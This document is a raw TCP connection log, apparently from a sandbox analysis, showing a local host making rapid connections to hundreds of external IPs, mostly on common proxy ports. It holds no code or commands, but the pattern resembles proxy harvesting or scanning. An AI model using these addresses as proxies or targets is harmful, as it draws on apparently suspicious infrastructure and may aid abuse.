Mar 11, 2024 16:42:18.612024069 CET	50177	4145	192.168.2.11	174.64.199.82
Mar 11, 2024 16:42:18.612026930 CET	50176	80	192.168.2.11	223.19.111.185
Mar 11, 2024 16:42:18.613322020 CET	50178	8080	192.168.2.11	185.208.102.62
Mar 11, 2024 16:42:18.615133047 CET	50180	8888	192.168.2.11	154.64.219.2
Mar 11, 2024 16:42:18.615135908 CET	50179	999	192.168.2.11	45.184.155.3
Mar 11, 2024 16:42:18.615681887 CET	50181	3128	192.168.2.11	161.97.132.227
Mar 11, 2024 16:42:18.617433071 CET	80	49971	52.196.1.182	192.168.2.11
Mar 11, 2024 16:42:18.617477894 CET	50182	42072	192.168.2.11	208.109.14.49
Mar 11, 2024 16:42:18.617624044 CET	49971	80	192.168.2.11	52.196.1.182
Mar 11, 2024 16:42:18.617820024 CET	49971	80	192.168.2.11	52.196.1.182
Mar 11, 2024 16:42:18.617865086 CET	50183	12334	192.168.2.11	194.4.50.62
Mar 11, 2024 16:42:18.618129969 CET	50184	8080	192.168.2.11	27.130.253.68
Mar 11, 2024 16:42:18.618890047 CET	50185	8080	192.168.2.11	183.89.9.82
Mar 11, 2024 16:42:18.620102882 CET	50187	49775	192.168.2.11	138.201.21.232
Mar 11, 2024 16:42:18.620110989 CET	50186	34071	192.168.2.11	162.214.227.68
Mar 11, 2024 16:42:18.620735884 CET	50188	9080	192.168.2.11	154.205.152.96
Mar 11, 2024 16:42:18.621721029 CET	50189	3128	192.168.2.11	199.223.255.109
Mar 11, 2024 16:42:18.623517036 CET	50190	80	192.168.2.11	46.35.9.110
Mar 11, 2024 16:42:18.623601913 CET	50191	8089	192.168.2.11	114.232.109.43
Mar 11, 2024 16:42:18.623825073 CET	50192	8080	192.168.2.11	103.159.66.61
Mar 11, 2024 16:42:18.624789953 CET	50193	44374	192.168.2.11	172.93.111.235
Mar 11, 2024 16:42:18.625977039 CET	49777	28971	192.168.2.11	67.43.228.254
Mar 11, 2024 16:42:18.626045942 CET	49735	33590	192.168.2.11	85.120.30.66
Mar 11, 2024 16:42:18.626374006 CET	50194	80	192.168.2.11	104.20.24.214
Mar 11, 2024 16:42:18.626849890 CET	50195	80	192.168.2.11	172.67.150.173
Mar 11, 2024 16:42:18.628739119 CET	34350	50001	66.29.128.246	192.168.2.11
Mar 11, 2024 16:42:18.628777981 CET	50196	8080	192.168.2.11	46.209.54.102
Mar 11, 2024 16:42:18.629547119 CET	50198	8080	192.168.2.11	102.23.234.201
Mar 11, 2024 16:42:18.629553080 CET	50197	29745	192.168.2.11	132.148.128.88
Mar 11, 2024 16:42:18.630050898 CET	80	50038	104.20.56.71	192.168.2.11
Mar 11, 2024 16:42:18.630151987 CET	50038	80	192.168.2.11	104.20.56.71
Mar 11, 2024 16:42:18.630667925 CET	50038	80	192.168.2.11	104.20.56.71
Mar 11, 2024 16:42:18.631325006 CET	50199	4145	192.168.2.11	199.102.107.145
Mar 11, 2024 16:42:18.631432056 CET	80	50042	172.67.53.215	192.168.2.11
Mar 11, 2024 16:42:18.631515980 CET	50042	80	192.168.2.11	172.67.53.215
Mar 11, 2024 16:42:18.631764889 CET	50200	30000	192.168.2.11	161.97.74.176
Mar 11, 2024 16:42:18.632050991 CET	8081	49803	193.239.56.84	192.168.2.11
Mar 11, 2024 16:42:18.632138014 CET	49803	8081	192.168.2.11	193.239.56.84
Mar 11, 2024 16:42:18.632271051 CET	50042	80	192.168.2.11	172.67.53.215
Mar 11, 2024 16:42:18.632323027 CET	49803	8081	192.168.2.11	193.239.56.84
Mar 11, 2024 16:42:18.632879019 CET	8081	49803	193.239.56.84	192.168.2.11
Mar 11, 2024 16:42:18.633450031 CET	50201	3128	192.168.2.11	91.189.177.186
Mar 11, 2024 16:42:18.633455992 CET	50202	8081	192.168.2.11	193.239.56.84
Mar 11, 2024 16:42:18.633965969 CET	50203	3128	192.168.2.11	13.208.168.179
Mar 11, 2024 16:42:18.634275913 CET	80	49977	50.172.75.125	192.168.2.11
Mar 11, 2024 16:42:18.634789944 CET	50205	80	192.168.2.11	185.167.59.215
Mar 11, 2024 16:42:18.634805918 CET	50204	42331	192.168.2.11	206.189.9.30
Mar 11, 2024 16:42:18.635684013 CET	3128	49969	195.154.172.161	192.168.2.11
Mar 11, 2024 16:42:18.635720968 CET	3128	49824	15.236.106.236	192.168.2.11
Mar 11, 2024 16:42:18.635891914 CET	49969	3128	192.168.2.11	195.154.172.161
Mar 11, 2024 16:42:18.636096954 CET	50206	51800	192.168.2.11	110.185.105.210
Mar 11, 2024 16:42:18.636101007 CET	49969	3128	192.168.2.11	195.154.172.161
Mar 11, 2024 16:42:18.636316061 CET	3128	50011	178.128.148.69	192.168.2.11
Mar 11, 2024 16:42:18.637110949 CET	50207	8080	192.168.2.11	159.192.102.249
Mar 11, 2024 16:42:18.637149096 CET	4145	49946	36.90.61.224	192.168.2.11
Mar 11, 2024 16:42:18.637414932 CET	3128	49824	15.236.106.236	192.168.2.11
Mar 11, 2024 16:42:18.638482094 CET	50208	31337	192.168.2.11	186.251.255.41
Mar 11, 2024 16:42:18.638922930 CET	49824	3128	192.168.2.11	15.236.106.236
Mar 11, 2024 16:42:18.640685081 CET	50210	8080	192.168.2.11	66.225.246.238
Mar 11, 2024 16:42:18.641103983 CET	50209	80	192.168.2.11	172.67.38.96
Mar 11, 2024 16:42:18.641113043 CET	50211	4145	192.168.2.11	68.1.210.163
Mar 11, 2024 16:42:18.641557932 CET	50212	4145	192.168.2.11	24.249.199.4
Mar 11, 2024 16:42:18.641593933 CET	49782	50605	192.168.2.11	51.81.89.146
Mar 11, 2024 16:42:18.641614914 CET	49712	4145	192.168.2.11	152.32.78.24
Mar 11, 2024 16:42:18.642879963 CET	50213	1088	192.168.2.11	81.199.14.49
Mar 11, 2024 16:42:18.645154953 CET	5385	50015	72.10.160.170	192.168.2.11
Mar 11, 2024 16:42:18.645194054 CET	50214	1080	192.168.2.11	209.14.112.8
Mar 11, 2024 16:42:18.645874023 CET	50215	80	192.168.2.11	103.151.20.131
Mar 11, 2024 16:42:18.646637917 CET	50216	7302	192.168.2.11	124.163.236.54
Mar 11, 2024 16:42:18.647578001 CET	50217	80	192.168.2.11	31.43.179.214
Mar 11, 2024 16:42:18.649615049 CET	50218	8080	192.168.2.11	34.84.95.189
Mar 11, 2024 16:42:18.649677992 CET	50219	80	192.168.2.11	8.222.239.209
Mar 11, 2024 16:42:18.651556015 CET	50221	4145	192.168.2.11	199.102.106.94
Mar 11, 2024 16:42:18.651581049 CET	50220	80	192.168.2.11	195.23.57.78
Mar 11, 2024 16:42:18.652436018 CET	31295	50019	67.43.236.20	192.168.2.11
Mar 11, 2024 16:42:18.652560949 CET	50222	49614	192.168.2.11	206.189.145.23
Mar 11, 2024 16:42:18.653528929 CET	50223	10801	192.168.2.11	103.53.110.45
Mar 11, 2024 16:42:18.653615952 CET	80	49931	45.139.11.200	192.168.2.11
Mar 11, 2024 16:42:18.654464006 CET	50224	56252	192.168.2.11	103.59.190.209
Mar 11, 2024 16:42:18.656227112 CET	50226	4711	192.168.2.11	67.43.227.227
Mar 11, 2024 16:42:18.656234980 CET	50225	5096	192.168.2.11	165.154.227.154
Mar 11, 2024 16:42:18.656780958 CET	3933	50021	67.43.228.253	192.168.2.11
Mar 11, 2024 16:42:18.657499075 CET	49786	31033	192.168.2.11	67.43.228.253
Mar 11, 2024 16:42:18.657499075 CET	50227	49865	192.168.2.11	128.199.221.91
Mar 11, 2024 16:42:18.659692049 CET	50228	7891	192.168.2.11	43.129.228.46
Mar 11, 2024 16:42:18.659693003 CET	50229	8080	192.168.2.11	101.255.62.129
Mar 11, 2024 16:42:18.660084963 CET	80	49974	104.18.20.160	192.168.2.11
Mar 11, 2024 16:42:18.660123110 CET	80	49974	104.18.20.160	192.168.2.11
Mar 11, 2024 16:42:18.660584927 CET	49974	80	192.168.2.11	104.18.20.160
Mar 11, 2024 16:42:18.660793066 CET	80	49974	104.18.20.160	192.168.2.11
Mar 11, 2024 16:42:18.660901070 CET	49974	80	192.168.2.11	104.18.20.160
Mar 11, 2024 16:42:18.662856102 CET	32100	49904	50.233.111.162	192.168.2.11
Mar 11, 2024 16:42:18.663400888 CET	32100	49904	50.233.111.162	192.168.2.11
Mar 11, 2024 16:42:18.665608883 CET	49904	32100	192.168.2.11	50.233.111.162
Mar 11, 2024 16:42:18.669317961 CET	80	50070	185.238.228.67	192.168.2.11
Mar 11, 2024 16:42:18.670938015 CET	50070	80	192.168.2.11	185.238.228.67
Mar 11, 2024 16:42:18.671268940 CET	50230	80	192.168.2.11	154.65.39.7
Mar 11, 2024 16:42:18.671329975 CET	49904	32100	192.168.2.11	50.233.111.162
Mar 11, 2024 16:42:18.671972990 CET	50070	80	192.168.2.11	185.238.228.67
Mar 11, 2024 16:42:18.672796965 CET	50231	32100	192.168.2.11	50.233.111.162
Mar 11, 2024 16:42:18.672863960 CET	49797	80	192.168.2.11	50.239.72.19
Mar 11, 2024 16:42:18.672864914 CET	49761	8123	192.168.2.11	20.24.43.214
Mar 11, 2024 16:42:18.672929049 CET	49788	32221	192.168.2.11	67.43.228.254
Mar 11, 2024 16:42:18.673161030 CET	50233	41055	192.168.2.11	62.171.131.101
Mar 11, 2024 16:42:18.673264980 CET	80	50017	50.168.210.239	192.168.2.11
Mar 11, 2024 16:42:18.673837900 CET	50232	80	192.168.2.11	36.229.100.73
Mar 11, 2024 16:42:18.673909903 CET	50234	8889	192.168.2.11	216.176.187.99
Mar 11, 2024 16:42:18.674391985 CET	50235	81	192.168.2.11	188.168.24.222
Mar 11, 2024 16:42:18.674437046 CET	50236	8080	192.168.2.11	202.179.188.178
Mar 11, 2024 16:42:18.674648046 CET	50238	43100	192.168.2.11	142.4.7.20
Mar 11, 2024 16:42:18.674772978 CET	50237	80	192.168.2.11	104.17.171.235
Mar 11, 2024 16:42:18.675110102 CET	50239	42624	192.168.2.11	162.214.165.6
Mar 11, 2024 16:42:18.675111055 CET	50240	8181	192.168.2.11	43.132.184.228
Mar 11, 2024 16:42:18.675404072 CET	50241	80	192.168.2.11	37.120.189.106
Mar 11, 2024 16:42:18.679071903 CET	80	50090	23.227.38.198	192.168.2.11
Mar 11, 2024 16:42:18.679415941 CET	50242	80	192.168.2.11	141.147.33.121
Mar 11, 2024 16:42:18.679475069 CET	50090	80	192.168.2.11	23.227.38.198
Mar 11, 2024 16:42:18.679706097 CET	50090	80	192.168.2.11	23.227.38.198
Mar 11, 2024 16:42:18.679784060 CET	50243	83	192.168.2.11	103.129.3.246
Mar 11, 2024 16:42:18.680001020 CET	50244	8888	192.168.2.11	194.150.69.56
Mar 11, 2024 16:42:18.680005074 CET	50245	5678	192.168.2.11	191.97.2.198
Mar 11, 2024 16:42:18.680205107 CET	50246	55443	192.168.2.11	197.232.65.40
Mar 11, 2024 16:42:18.680391073 CET	50248	80	192.168.2.11	50.217.226.44
Mar 11, 2024 16:42:18.680392027 CET	50247	80	192.168.2.11	172.67.182.126
Mar 11, 2024 16:42:18.680533886 CET	50249	1080	192.168.2.11	54.212.22.168
Mar 11, 2024 16:42:18.680603981 CET	50250	5034	192.168.2.11	45.11.95.165
Mar 11, 2024 16:42:18.680716991 CET	50251	999	192.168.2.11	38.41.0.94
Mar 11, 2024 16:42:18.680833101 CET	50252	999	192.168.2.11	45.176.97.90
Mar 11, 2024 16:42:18.681021929 CET	50253	9002	192.168.2.11	222.138.76.6
Mar 11, 2024 16:42:18.681025028 CET	50254	999	192.168.2.11	186.125.218.145
Mar 11, 2024 16:42:18.681406021 CET	50255	8888	192.168.2.11	3.25.234.175
Mar 11, 2024 16:42:18.683147907 CET	50256	80	192.168.2.11	82.64.77.30
Mar 11, 2024 16:42:18.683150053 CET	50257	8000	192.168.2.11	128.199.252.41
Mar 11, 2024 16:42:18.683737993 CET	50258	40536	192.168.2.11	162.214.225.223
Mar 11, 2024 16:42:18.683872938 CET	50259	80	192.168.2.11	13.209.156.241
Mar 11, 2024 16:42:18.684397936 CET	10003	49994	147.75.34.86	192.168.2.11
Mar 11, 2024 16:42:18.684484959 CET	49994	10003	192.168.2.11	147.75.34.86
Mar 11, 2024 16:42:18.685250044 CET	8197	49831	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:18.685276985 CET	49994	10003	192.168.2.11	147.75.34.86
Mar 11, 2024 16:42:18.685376883 CET	49831	8197	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:18.685409069 CET	37355	49993	167.172.109.12	192.168.2.11
Mar 11, 2024 16:42:18.685437918 CET	49831	8197	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:18.685936928 CET	50260	8197	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:18.686501026 CET	8197	49831	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:18.687916040 CET	50261	4145	192.168.2.11	1.2.209.194
Mar 11, 2024 16:42:18.687918901 CET	50262	3128	192.168.2.11	103.35.189.217
Mar 11, 2024 16:42:18.688486099 CET	49762	5678	192.168.2.11	178.212.51.79
Mar 11, 2024 16:42:18.688486099 CET	49733	3129	192.168.2.11	20.219.180.149
Mar 11, 2024 16:42:18.689630985 CET	50263	49401	192.168.2.11	162.241.46.40
Mar 11, 2024 16:42:18.690685034 CET	26087	50033	67.43.228.251	192.168.2.11
Mar 11, 2024 16:42:18.691045046 CET	50264	8080	192.168.2.11	91.202.230.219
Mar 11, 2024 16:42:18.692981005 CET	50266	5678	192.168.2.11	83.56.15.57
Mar 11, 2024 16:42:18.692981005 CET	50265	3128	192.168.2.11	13.40.239.130
Mar 11, 2024 16:42:18.693958044 CET	50267	3128	192.168.2.11	45.159.150.23
Mar 11, 2024 16:42:18.697942972 CET	50268	80	192.168.2.11	12.176.231.147
Mar 11, 2024 16:42:18.698288918 CET	8000	50039	137.184.200.42	192.168.2.11
Mar 11, 2024 16:42:18.698384047 CET	50270	3629	192.168.2.11	95.31.42.199
Mar 11, 2024 16:42:18.698385000 CET	50269	48553	192.168.2.11	203.96.177.211
Mar 11, 2024 16:42:18.698502064 CET	50039	8000	192.168.2.11	137.184.200.42
Mar 11, 2024 16:42:18.698749065 CET	50039	8000	192.168.2.11	137.184.200.42
Mar 11, 2024 16:42:18.698766947 CET	50271	32100	192.168.2.11	50.199.46.20
Mar 11, 2024 16:42:18.698987961 CET	50272	5678	192.168.2.11	103.112.254.66
Mar 11, 2024 16:42:18.699193001 CET	50273	4145	192.168.2.11	119.42.71.103
Mar 11, 2024 16:42:18.699260950 CET	50274	24815	192.168.2.11	95.217.104.21
Mar 11, 2024 16:42:18.699677944 CET	50275	30189	192.168.2.11	161.97.163.52
Mar 11, 2024 16:42:18.699688911 CET	50276	999	192.168.2.11	190.61.41.165
Mar 11, 2024 16:42:18.699959040 CET	50278	82	192.168.2.11	117.160.250.163
Mar 11, 2024 16:42:18.699965954 CET	50277	80	192.168.2.11	104.17.166.210
Mar 11, 2024 16:42:18.700265884 CET	50280	8000	192.168.2.11	167.172.79.17
Mar 11, 2024 16:42:18.700351000 CET	50279	80	192.168.2.11	182.72.203.255
Mar 11, 2024 16:42:18.701545954 CET	50281	10722	192.168.2.11	192.163.202.88
Mar 11, 2024 16:42:18.701841116 CET	50282	80	192.168.2.11	172.67.181.129
Mar 11, 2024 16:42:18.705733061 CET	49779	80	192.168.2.11	50.174.145.9
Mar 11, 2024 16:42:18.712209940 CET	80	50002	172.67.181.197	192.168.2.11
Mar 11, 2024 16:42:18.712809086 CET	80	50002	172.67.181.197	192.168.2.11
Mar 11, 2024 16:42:18.712846041 CET	80	49921	104.16.105.106	192.168.2.11
Mar 11, 2024 16:42:18.712877989 CET	80	50002	172.67.181.197	192.168.2.11
Mar 11, 2024 16:42:18.712915897 CET	8080	49978	92.118.132.125	192.168.2.11
Mar 11, 2024 16:42:18.713027000 CET	50002	80	192.168.2.11	172.67.181.197
Mar 11, 2024 16:42:18.713501930 CET	44607	49722	162.241.6.97	192.168.2.11
Mar 11, 2024 16:42:18.718771935 CET	80	50006	104.27.15.161	192.168.2.11
Mar 11, 2024 16:42:18.718924999 CET	80	50006	104.27.15.161	192.168.2.11
Mar 11, 2024 16:42:18.719528913 CET	80	50006	104.27.15.161	192.168.2.11
Mar 11, 2024 16:42:18.719590902 CET	50006	80	192.168.2.11	104.27.15.161
Mar 11, 2024 16:42:18.720123053 CET	49751	5678	192.168.2.11	122.152.53.25
Mar 11, 2024 16:42:18.720272064 CET	8888	50014	95.164.89.123	192.168.2.11
Mar 11, 2024 16:42:18.720413923 CET	50014	8888	192.168.2.11	95.164.89.123
Mar 11, 2024 16:42:18.721141100 CET	3128	49877	160.16.90.35	192.168.2.11
Mar 11, 2024 16:42:18.725341082 CET	1080	49951	103.234.27.153	192.168.2.11
Mar 11, 2024 16:42:18.725434065 CET	49951	1080	192.168.2.11	103.234.27.153
Mar 11, 2024 16:42:18.726084948 CET	15082	49724	45.77.111.135	192.168.2.11
Mar 11, 2024 16:42:18.726131916 CET	80	50129	104.21.194.182	192.168.2.11
Mar 11, 2024 16:42:18.726167917 CET	80	50132	172.67.182.0	192.168.2.11
Mar 11, 2024 16:42:18.726228952 CET	50129	80	192.168.2.11	104.21.194.182
Mar 11, 2024 16:42:18.726289034 CET	50132	80	192.168.2.11	172.67.182.0
Mar 11, 2024 16:42:18.731417894 CET	49951	1080	192.168.2.11	103.234.27.153
Mar 11, 2024 16:42:18.731611013 CET	50132	80	192.168.2.11	172.67.182.0
Mar 11, 2024 16:42:18.732353926 CET	13623	49965	36.255.104.1	192.168.2.11
Mar 11, 2024 16:42:18.734124899 CET	50284	12113	192.168.2.11	103.49.28.23
Mar 11, 2024 16:42:18.734281063 CET	50006	80	192.168.2.11	104.27.15.161
Mar 11, 2024 16:42:18.734342098 CET	50002	80	192.168.2.11	172.67.181.197
Mar 11, 2024 16:42:18.734461069 CET	50129	80	192.168.2.11	104.21.194.182
Mar 11, 2024 16:42:18.735363960 CET	49719	8081	192.168.2.11	154.72.90.74
Mar 11, 2024 16:42:18.735367060 CET	3129	50126	45.134.80.222	192.168.2.11
Mar 11, 2024 16:42:18.738048077 CET	50283	3128	192.168.2.11	86.107.178.109
Mar 11, 2024 16:42:18.738051891 CET	50014	8888	192.168.2.11	95.164.89.123
Mar 11, 2024 16:42:18.738373995 CET	80	50119	104.20.123.164	192.168.2.11
Mar 11, 2024 16:42:18.738450050 CET	50119	80	192.168.2.11	104.20.123.164
Mar 11, 2024 16:42:18.738828897 CET	8118	49983	182.140.244.163	192.168.2.11
Mar 11, 2024 16:42:18.738889933 CET	50119	80	192.168.2.11	104.20.123.164
Mar 11, 2024 16:42:18.738890886 CET	49983	8118	192.168.2.11	182.140.244.163
Mar 11, 2024 16:42:18.739125013 CET	50285	29497	192.168.2.11	62.171.131.101
Mar 11, 2024 16:42:18.739511967 CET	49983	8118	192.168.2.11	182.140.244.163
Mar 11, 2024 16:42:18.740462065 CET	50286	8080	192.168.2.11	4.236.183.37
Mar 11, 2024 16:42:18.740880966 CET	50287	32824	192.168.2.11	51.68.164.77
Mar 11, 2024 16:42:18.741102934 CET	50288	5555	192.168.2.11	14.225.254.128
Mar 11, 2024 16:42:18.741435051 CET	80	50023	121.159.146.251	192.168.2.11
Mar 11, 2024 16:42:18.741760015 CET	50023	80	192.168.2.11	121.159.146.251
Mar 11, 2024 16:42:18.741884947 CET	50023	80	192.168.2.11	121.159.146.251
Mar 11, 2024 16:42:18.741923094 CET	80	50149	104.16.143.127	192.168.2.11
Mar 11, 2024 16:42:18.742125034 CET	50149	80	192.168.2.11	104.16.143.127
Mar 11, 2024 16:42:18.742203951 CET	50149	80	192.168.2.11	104.16.143.127
Mar 11, 2024 16:42:18.742522955 CET	14282	50065	192.252.208.70	192.168.2.11
Mar 11, 2024 16:42:18.742636919 CET	50065	14282	192.168.2.11	192.252.208.70
Mar 11, 2024 16:42:18.743525028 CET	50065	14282	192.168.2.11	192.252.208.70
Mar 11, 2024 16:42:18.744079113 CET	50290	8080	192.168.2.11	94.131.203.7
Mar 11, 2024 16:42:18.744096041 CET	50289	3128	192.168.2.11	139.99.148.90
Mar 11, 2024 16:42:18.744831085 CET	80	50016	162.159.242.138	192.168.2.11
Mar 11, 2024 16:42:18.744925976 CET	80	50016	162.159.242.138	192.168.2.11
Mar 11, 2024 16:42:18.745153904 CET	80	50016	162.159.242.138	192.168.2.11
Mar 11, 2024 16:42:18.745407104 CET	50016	80	192.168.2.11	162.159.242.138
Mar 11, 2024 16:42:18.745410919 CET	50291	81	192.168.2.11	94.153.163.226
Mar 11, 2024 16:42:18.745485067 CET	50016	80	192.168.2.11	162.159.242.138
Mar 11, 2024 16:42:18.747036934 CET	50292	999	192.168.2.11	170.239.207.241
Mar 11, 2024 16:42:18.747037888 CET	50293	44195	192.168.2.11	162.19.7.56
Mar 11, 2024 16:42:18.747945070 CET	50294	8080	192.168.2.11	103.124.196.134
Mar 11, 2024 16:42:18.748471022 CET	80	50114	50.145.6.36	192.168.2.11
Mar 11, 2024 16:42:18.749259949 CET	50295	22500	192.168.2.11	51.79.87.144
Mar 11, 2024 16:42:18.750482082 CET	50296	30422	192.168.2.11	157.245.131.28
Mar 11, 2024 16:42:18.750487089 CET	50297	80	192.168.2.11	104.18.161.122
Mar 11, 2024 16:42:18.750652075 CET	9375	49717	92.204.134.38	192.168.2.11
Mar 11, 2024 16:42:18.750976086 CET	49817	26315	192.168.2.11	72.10.160.171
Mar 11, 2024 16:42:18.750988007 CET	49784	8080	192.168.2.11	42.200.196.208
Mar 11, 2024 16:42:18.751413107 CET	50298	43100	192.168.2.11	192.163.201.131
Mar 11, 2024 16:42:18.753489017 CET	50299	3128	192.168.2.11	38.54.116.9
Mar 11, 2024 16:42:18.753489971 CET	50300	2020	192.168.2.11	103.170.115.213
Mar 11, 2024 16:42:18.754091024 CET	50301	4153	192.168.2.11	103.84.178.2
Mar 11, 2024 16:42:18.754524946 CET	80	49943	104.16.106.65	192.168.2.11
Mar 11, 2024 16:42:18.755316973 CET	4145	50060	174.64.199.79	192.168.2.11
Mar 11, 2024 16:42:18.755372047 CET	50302	80	192.168.2.11	50.231.104.58
Mar 11, 2024 16:42:18.755558968 CET	50060	4145	192.168.2.11	174.64.199.79
Mar 11, 2024 16:42:18.756690025 CET	50303	16379	192.168.2.11	163.172.131.178
Mar 11, 2024 16:42:18.756710052 CET	50060	4145	192.168.2.11	174.64.199.79
Mar 11, 2024 16:42:18.757472038 CET	7853	50098	67.43.228.253	192.168.2.11
Mar 11, 2024 16:42:18.757560968 CET	50304	999	192.168.2.11	45.234.61.173
Mar 11, 2024 16:42:18.758244991 CET	50305	80	192.168.2.11	190.116.2.52
Mar 11, 2024 16:42:18.758826971 CET	4145	49973	142.54.229.249	192.168.2.11
Mar 11, 2024 16:42:18.759043932 CET	4145	49973	142.54.229.249	192.168.2.11
Mar 11, 2024 16:42:18.760467052 CET	50307	31042	192.168.2.11	162.214.227.68
Mar 11, 2024 16:42:18.760467052 CET	50306	8080	192.168.2.11	178.115.253.35
Mar 11, 2024 16:42:18.761580944 CET	50308	3128	192.168.2.11	194.145.209.187
Mar 11, 2024 16:42:18.762578011 CET	17893	50104	72.10.160.90	192.168.2.11
Mar 11, 2024 16:42:18.762612104 CET	50309	65000	192.168.2.11	89.171.116.65
Mar 11, 2024 16:42:18.762954950 CET	50310	4145	192.168.2.11	142.54.229.249
Mar 11, 2024 16:42:18.763401031 CET	50311	999	192.168.2.11	181.78.19.248
Mar 11, 2024 16:42:18.764477015 CET	50312	8765	192.168.2.11	203.161.30.10
Mar 11, 2024 16:42:18.765063047 CET	50313	3128	192.168.2.11	46.101.102.134
Mar 11, 2024 16:42:18.766617060 CET	50314	4153	192.168.2.11	212.31.100.138
Mar 11, 2024 16:42:18.766627073 CET	49715	84	192.168.2.11	103.26.108.118
Mar 11, 2024 16:42:18.766628981 CET	49772	3128	192.168.2.11	46.245.77.52
Mar 11, 2024 16:42:18.766628981 CET	49721	5212	192.168.2.11	45.11.95.165
Mar 11, 2024 16:42:18.766648054 CET	49728	8080	192.168.2.11	103.141.66.78
Mar 11, 2024 16:42:18.766653061 CET	49727	80	192.168.2.11	41.74.91.244
Mar 11, 2024 16:42:18.766654015 CET	49726	8080	192.168.2.11	201.20.67.70
Mar 11, 2024 16:42:18.766664028 CET	49725	8080	192.168.2.11	103.169.130.46
Mar 11, 2024 16:42:18.766665936 CET	49730	49478	192.168.2.11	162.241.70.64
Mar 11, 2024 16:42:18.766702890 CET	49723	5678	192.168.2.11	91.187.55.39
Mar 11, 2024 16:42:18.766704082 CET	49714	80	192.168.2.11	190.186.237.103
Mar 11, 2024 16:42:18.766702890 CET	49731	37736	192.168.2.11	207.180.234.220
Mar 11, 2024 16:42:18.766704082 CET	49729	1080	192.168.2.11	47.91.110.154
Mar 11, 2024 16:42:18.766704082 CET	49711	48892	192.168.2.11	72.167.222.113
Mar 11, 2024 16:42:18.766797066 CET	50315	59341	192.168.2.11	109.75.34.152
Mar 11, 2024 16:42:18.767761946 CET	50316	8080	192.168.2.11	95.84.166.138
Mar 11, 2024 16:42:18.768419981 CET	40351	49752	51.222.241.157	192.168.2.11
Mar 11, 2024 16:42:18.769035101 CET	8000	49736	14.103.24.148	192.168.2.11
Mar 11, 2024 16:42:18.769149065 CET	16379	50041	51.15.142.4	192.168.2.11
Mar 11, 2024 16:42:18.769217014 CET	50317	4153	192.168.2.11	177.91.76.34
Mar 11, 2024 16:42:18.769401073 CET	50041	16379	192.168.2.11	51.15.142.4
Mar 11, 2024 16:42:18.769845009 CET	45639	49985	103.212.93.241	192.168.2.11
Mar 11, 2024 16:42:18.770356894 CET	14921	50131	192.252.211.197	192.168.2.11
Mar 11, 2024 16:42:18.770448923 CET	50041	16379	192.168.2.11	51.15.142.4
Mar 11, 2024 16:42:18.770796061 CET	50319	4145	192.168.2.11	197.234.13.36
Mar 11, 2024 16:42:18.771245956 CET	8000	49736	14.103.24.148	192.168.2.11
Mar 11, 2024 16:42:18.771879911 CET	50320	80	192.168.2.11	203.243.63.16
Mar 11, 2024 16:42:18.772900105 CET	30951	49753	72.10.160.90	192.168.2.11
Mar 11, 2024 16:42:18.772926092 CET	50321	80	192.168.2.11	186.124.164.213
Mar 11, 2024 16:42:18.773488998 CET	50322	4153	192.168.2.11	92.255.190.41
Mar 11, 2024 16:42:18.774744987 CET	8081	49713	79.110.196.145	192.168.2.11
Mar 11, 2024 16:42:18.774787903 CET	50323	9123	192.168.2.11	173.249.29.243
Mar 11, 2024 16:42:18.776149035 CET	50325	5678	192.168.2.11	171.100.23.244
Mar 11, 2024 16:42:18.776151896 CET	50324	3128	192.168.2.11	62.171.184.96
Mar 11, 2024 16:42:18.777230978 CET	50326	4145	192.168.2.11	202.124.46.97
Mar 11, 2024 16:42:18.777964115 CET	50327	42771	192.168.2.11	162.240.239.103
Mar 11, 2024 16:42:18.778126001 CET	24787	50159	162.144.121.232	192.168.2.11
Mar 11, 2024 16:42:18.778249979 CET	50159	24787	192.168.2.11	162.144.121.232
Mar 11, 2024 16:42:18.779335022 CET	50159	24787	192.168.2.11	162.144.121.232
Mar 11, 2024 16:42:18.779416084 CET	50328	80	192.168.2.11	54.152.3.36
Mar 11, 2024 16:42:18.779577971 CET	50329	83	192.168.2.11	103.48.68.101
Mar 11, 2024 16:42:18.779922962 CET	24279	50115	67.43.228.251	192.168.2.11
Mar 11, 2024 16:42:18.780257940 CET	1080	49984	202.142.167.210	192.168.2.11
Mar 11, 2024 16:42:18.780481100 CET	80	50194	104.20.24.214	192.168.2.11
Mar 11, 2024 16:42:18.780605078 CET	50194	80	192.168.2.11	104.20.24.214
Mar 11, 2024 16:42:18.781656027 CET	80	50195	172.67.150.173	192.168.2.11
Mar 11, 2024 16:42:18.781790018 CET	50195	80	192.168.2.11	172.67.150.173
Mar 11, 2024 16:42:18.782233953 CET	49718	587	192.168.2.11	160.248.80.91
Mar 11, 2024 16:42:18.782233953 CET	49827	9039	192.168.2.11	67.43.227.228
Mar 11, 2024 16:42:18.782233953 CET	49720	8080	192.168.2.11	103.186.8.162
Mar 11, 2024 16:42:18.782246113 CET	49741	80	192.168.2.11	18.141.177.23
Mar 11, 2024 16:42:18.782258987 CET	49732	50640	192.168.2.11	203.161.32.242
Mar 11, 2024 16:42:18.782269001 CET	9764	49961	162.243.102.207	192.168.2.11
Mar 11, 2024 16:42:18.782286882 CET	49737	8089	192.168.2.11	117.70.49.235
Mar 11, 2024 16:42:18.782310963 CET	49739	3128	192.168.2.11	3.24.58.156
Mar 11, 2024 16:42:18.782310963 CET	49743	8888	192.168.2.11	200.174.198.95
Mar 11, 2024 16:42:18.782392979 CET	49961	9764	192.168.2.11	162.243.102.207
Mar 11, 2024 16:42:18.782392979 CET	49961	9764	192.168.2.11	162.243.102.207
Mar 11, 2024 16:42:18.782785892 CET	50331	9764	192.168.2.11	162.243.102.207
Mar 11, 2024 16:42:18.783329964 CET	20037	50140	64.44.139.12	192.168.2.11
Mar 11, 2024 16:42:18.783404112 CET	50140	20037	192.168.2.11	64.44.139.12
Mar 11, 2024 16:42:18.783499002 CET	4145	50147	184.170.249.65	192.168.2.11
Mar 11, 2024 16:42:18.783524990 CET	50140	20037	192.168.2.11	64.44.139.12
Mar 11, 2024 16:42:18.785135984 CET	80	50038	104.20.56.71	192.168.2.11
Mar 11, 2024 16:42:18.785204887 CET	80	50038	104.20.56.71	192.168.2.11
Mar 11, 2024 16:42:18.785559893 CET	50038	80	192.168.2.11	104.20.56.71
Mar 11, 2024 16:42:18.785855055 CET	80	50038	104.20.56.71	192.168.2.11
Mar 11, 2024 16:42:18.785917044 CET	50038	80	192.168.2.11	104.20.56.71
